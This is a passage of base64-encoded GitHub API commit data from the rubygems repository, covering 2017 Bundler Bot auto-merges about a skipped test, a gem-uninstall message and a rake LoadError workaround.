lcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI0Y2VjYjg5MDEzNDQzMDA3YTcxZDc3NTFhZWI3ODAwN2FjZDRhYTY2IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzRjZWNiODkwMTM0NDMwMDdhNzFkNzc1MWFlYjc4MDA3YWNkNGFhNjYiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNGNlY2I4OTAxMzQ0MzAwN2E3MWQ3NzUxYWViNzgwMDdhY2Q0YWE2NiJ9LHsic2hhIjoiYTFhODc4NzY4MzQ1YWVhZjgxZDAzZTFjNmI3OTIwNjA3ODFhYWI0ZiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9hMWE4Nzg3NjgzNDVhZWFmODFkMDNlMWM2Yjc5MjA2MDc4MWFhYjRmIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2ExYTg3ODc2ODM0NWFlYWY4MWQwM2UxYzZiNzkyMDYwNzgxYWFiNGYifV19LHsic2hhIjoiNGNlY2I4OTAxMzQ0MzAwN2E3MWQ3NzUxYWViNzgwMDdhY2Q0YWE2NiIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0wOC0xMVQxNDozNDo0MVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMDgtMTFUMTQ6MzQ6NDFaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMxOTg2IC0gaHNidDpkZXRlY3RzLXJ1YnktY29yZS1lbnYsIHI9c2VnaWRkaW5zXG5cbklnbm9yZWQgYHRlc3RfcmVhbHdvcmxkX2RlZmF1bHRfZ2VtYCB3aXRoIHJ1YnktaGVhZFxuXG4jIERlc2NyaXB0aW9uOlxuXG5JIGlnbm9yZWQgYHRlc3RfcmVhbHdvcmxkX2RlZmF1bHRfZ2VtYC4gQmVjYXVzZSBkZWZhdWx0IGdlbSB3YXMgZW5hYmxlZCBhZnRlciBydWJ5IGluc3RhbGxhdGlvbiB0aGF0IGlzIGBtYWtlIGluc3RhbGxgLiBJdCB0ZXN0IGFsd2F5cyBmYWlsIHdpdGggcnVieSBjb3JlIHRlc3Qgc3VpdGUuXG5cbnNlZSBhbHNvIGZhaWxpbmcgcmVzdWx0czogaHR0cHM6Ly90cmF2aXMtY2kub3JnL3J1YnkvcnVieS9idWlsZHMvMjU3NTg5OTQzI0w2OTkyXG5cbl9fX19fX19fX19fX19fXG5cbiMgVGFza3M6XG5cbi0gWyBdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbIF0gV3JpdGUgdGVzdHNcbi0gWyBdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS4iLCJ0cmVlIjp7InNoYSI6ImMxMGFmNzJiZDMyNmNjMzIzMDY0OGFjMDg3OWI5MzZjNTEwMjM3NDUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9jMTBhZjcyYmQzMjZjYzMyMzA2NDhhYzA4NzliOTM2YzUxMDIzNzQ1In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvNGNlY2I4OTAxMzQ0MzAwN2E3MWQ3NzUxYWViNzgwMDdhY2Q0YWE2NiIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy80Y2VjYjg5MDEzNDQzMDA3YTcxZDc3NTFhZWI3ODAwN2FjZDRhYTY2IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzRjZWNiODkwMTM0NDMwMDdhNzFkNzc1MWFlYjc4MDA3YWNkNGFhNjYiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNGNlY2I4OTAxMzQ0MzAwN2E3MWQ3NzUxYWViNzgwMDdhY2Q0YWE2Ni9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjhiZTNjZGUyNDZmNjJlZmU0NTJjZTYzMTgxZTI0M2E1NmJjOTliZGUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOGJlM2NkZTI0NmY2MmVmZTQ1MmNlNjMxODFlMjQzYTU2YmM5OWJkZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC84YmUzY2RlMjQ2ZjYyZWZlNDUyY2U2MzE4MWUyNDNhNTZiYzk5YmRlIn0seyJzaGEiOiIwZGFmY2U4MTg4NjkxYTdiOTQyZWQ0NzI0YTBkMGU0NjJlNzRhODA5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzBkYWZjZTgxODg2OTFhN2I5NDJlZDQ3MjRhMGQwZTQ2MmU3NGE4MDkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMGRhZmNlODE4ODY5MWE3Yjk0MmVkNDcyNGEwZDBlNDYyZTc0YTgwOSJ9XX0seyJzaGEiOiI4YmUzY2RlMjQ2ZjYyZWZlNDUyY2U2MzE4MWUyNDNhNTZiYzk5YmRlIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTA4LTExVDEzOjQ5OjE5WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0wOC0xMVQxMzo0OToxOVoifSwibWVzc2FnZSI6IkF1dG8gbWVyZ2Ugb2YgIzE5NzkgLSBhbmFudGtvbHZhbmthcjptYXN0ZXIsIHI9c2VnaWRkaW5zXG5cbkFkZGVkIG1lc3NhZ2UgdG8gdW5pbnN0YWxsIGNvbW1hbmQgZm9yIGdlbSB0aGF0IGlzIG5vdCBpbnN0YWxsZWQuXG5cbldoZW4gd2UgdHJ5IHRvIHVuaW5zdGFsbCBhIGdlbSB0aGF0J3Mgbm90IGluc3RhbGxlZCwgd2UgZG9uJ3QgZ2V0IGFueSBtZXNzYWdlLlxuXG5Bc3N1bWluZyBJIGRvbid0IGhhdmUgYGRheV9ncmVldGVyYCBnZW0gaW5zdGFsbGVkIGluIG15IG1hY2hpbmUuXG4+IFthbmFudEBsb2NhbGhvc3Qgfl0jIGdlbSB1bmluc3RhbGwgZGF5X2dyZWV0ZXJcbj4gW2FuYW50QGxvY2FsaG9zdCB+XSNcblxud2l0aCBiZWxvdyBjaGFuZ2VzIGl0IHdpbGwgYmUgbGlrZSB0aGlzXG4+IFthbmFudEBsb2NhbGhvc3Qgfl0jIGdlbSB1bmluc3RhbGwgZGF5X2dyZWV0ZXJcbj4gR2VtICdkYXlfZ3JlZXRlcicgaXMgbm90IGluc3RhbGxlZFxuPiBbYW5hbnRAbG9jYWxob3N0IH5dIyIsInRyZWUiOnsic2hhIjoiZjc0Mjk2Y2JjZWU0YjdhNzEzNTE0ZmFhYzZlZTQzYTg4M2NlZDcyMSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2Y3NDI5NmNiY2VlNGI3YTcxMzUxNGZhYWM2ZWU0M2E4ODNjZWQ3MjEifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy84YmUzY2RlMjQ2ZjYyZWZlNDUyY2U2MzE4MWUyNDNhNTZiYzk5YmRlIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzhiZTNjZGUyNDZmNjJlZmU0NTJjZTYzMTgxZTI0M2E1NmJjOTliZGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOGJlM2NkZTI0NmY2MmVmZTQ1MmNlNjMxODFlMjQzYTU2YmM5OWJkZSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy84YmUzY2RlMjQ2ZjYyZWZlNDUyY2U2MzE4MWUyNDNhNTZiYzk5YmRlL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiMTk3NDZjYmM1ODM0ZTViYzUwMWIzM2NlYTM3MjliMjNiNGMxMTc3OSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8xOTc0NmNiYzU4MzRlNWJjNTAxYjMzY2VhMzcyOWIyM2I0YzExNzc5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzE5NzQ2Y2JjNTgzNGU1YmM1MDFiMzNjZWEzNzI5YjIzYjRjMTE3NzkifSx7InNoYSI6IjI3OTI3YTJmNjZlY2ZjYmEzMDJiMWJkYjg0ODVmZTlhZWNjZTBiY2MiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMjc5MjdhMmY2NmVjZmNiYTMwMmIxYmRiODQ4NWZlOWFlY2NlMGJjYyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8yNzkyN2EyZjY2ZWNmY2JhMzAyYjFiZGI4NDg1ZmU5YWVjY2UwYmNjIn1dfSx7InNoYSI6IjE5NzQ2Y2JjNTgzNGU1YmM1MDFiMzNjZWEzNzI5YjIzYjRjMTE3NzkiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMDgtMTFUMTM6MjY6MDBaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTA4LTExVDEzOjI2OjAwWiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMTk4MiAtIHdpbHNvbjptYXN0ZXIsIHI9c2VnaWRkaW5zXG5cbkRpc3BsYXkgYW4gZXhwbGFuYXRpb24gd2hlbiByYWtlIGVuY291bnRlcnMgYW4gb250b2xvZ2ljYWwgcHJvYmxlbS5cblxuIyBEZXNjcmlwdGlvbjpcblxuSW4gcmU6IGlzc3VlICMxNzU0LCBcInJha2UgbmV3YlwiIG9uIGFueSBjdXJyZW50IHJ1YnkgZmFpbHMgd2l0aCBhIEhvZS1kZXJpdmVkIEdlbTo6TG9hZEVycm9yLlxuXG5VbnRpbCB0aGUgd2hvbGUgdGhpbmcgZ2V0cyByZXNvbHZlZCBtb3JlIGVsZWdhbnRseSAodXBzdHJlYW0gaW4gSG9lPyksIHRoaXMgd3JhcHMgdGhlIHByb2JsZW1hdGljIHRhc2sgYW5kIG9ubHkgZG9lcyBzb21ldGhpbmcgZGlmZmVyZW50IHdoZW4gJ3Jha2UnIGlzIHRoZSBnZW0gdGhhdCBmYWlscyB0byBsb2FkLlxuXG4oY2M6IEBzZWdpZGRpbnMpXG5fX19fX19fX19fX19fX1xuXG4jIEJlZm9yZTpcbmBgYFxuW2NvZGUvcnVieWdlbXNdJSBydWJ5IC12XG5ydWJ5IDIuNC4xcDExMSAoMjAxNy0wMy0yMiByZXZpc2lvbiA1ODA1MykgW3g4Nl82NC1kYXJ3aW4xNV1cbltjb2RlL3J1YnlnZW1zXSUgcmFrZSBuZXdiXG5naXQgc3VibW9kdWxlIHVwZGF0ZSAtLWluaXRcblN1Ym1vZHVsZSBwYXRoICdidW5kbGVyJzogY2hlY2tlZCBvdXQgJzUwOTA1ODM5ZGFhNmMzODFiMzc1OTM3NWQ2OTE5NDMwOWM1ZjY1NDQnXG5yYWtlIGFib3J0ZWQhXG5HZW06OkxvYWRFcnJvcjogY2FuJ3QgYWN0aXZhdGUgcmFrZS0xMC41LjAsIGFscmVhZHkgYWN0aXZhdGVkIHJha2UtMTIuMC4wXG4vVXNlcnMvd2lsc29uLy5nZW0vcnVieS8yLjQuMS9nZW1zL2hvZS0zLjE2LjEvbGliL2hvZS9kZXBzLnJiOjYwOmluIGByZXNjdWUgaW4gYmxvY2sgaW4gY2hlY2tfZXh0cmFfZGVwc190YXNrJ1xuL1VzZXJzL3dpbHNvbi8uZ2VtL3J1YnkvMi40LjEvZ2Vtcy9ob2UtMy4xNi4xL2xpYi9ob2UvZGVwcy5yYjo1NDppbiBgYmxvY2sgaW4gY2hlY2tfZXh0cmFfZGVwc190YXNrJ1xuL1VzZXJzL3dpbHNvbi8uZ2VtL3J1YnkvMi40LjEvZ2Vtcy9ob2UtMy4xNi4xL2xpYi9ob2UvZGVwcy5yYjo1MzppbiBgZWFjaCdcbi9Vc2Vycy93aWxzb24vLmdlbS9ydWJ5LzIuNC4xL2dlbXMvaG9lLTMuMTYuMS9saWIvaG9lL2RlcHMucmI6NTM6aW4gYGNoZWNrX2V4dHJhX2RlcHNfdGFzaydcbi9Vc2Vycy93aWxzb24vLmdlbS9ydWJ5LzIuNC4xL2dlbXMvaG9lLTMuMTYuMS9saWIvaG9lL2RlcHMucmI6NDM6aW4gYGJsb2NrIGluIGRlZmluZV9kZXBzX3Rhc2tzJ1xuR2VtOjpMb2FkRXJyb3I6IGNhbid0IGFjdGl2YXRlIHJha2UtMTAuNS4wLCBhbHJlYWR5IGFjdGl2YXRlZCByYWtlLTEyLjAuMFxuL1VzZXJzL3dpbHNvbi8uZ2VtL3J1YnkvMi40LjEvZ2Vtcy9ob2UtMy4xNi4xL2xpYi9ob2UvZGVwcy5yYjo1NTppbiBgYmxvY2sgaW4gY2hlY2tfZXh0cmFfZGVwc190YXNrJ1xuL1VzZXJzL3dpbHNvbi8uZ2VtL3J1YnkvMi40LjEvZ2Vtcy9ob2UtMy4xNi4xL2xpYi9ob2UvZGVwcy5yYjo1MzppbiBgZWFjaCdcbi9Vc2Vycy93aWxzb24vLmdlbS9ydWJ5LzIuNC4xL2dlbXMvaG9lLTMuMTYuMS9saWIvaG9lL2RlcHMucmI6NTM6aW4gYGNoZWNrX2V4dHJhX2RlcHNfdGFzaydcbi9Vc2Vycy93aWxzb24vLmdlbS9ydWJ5LzIuN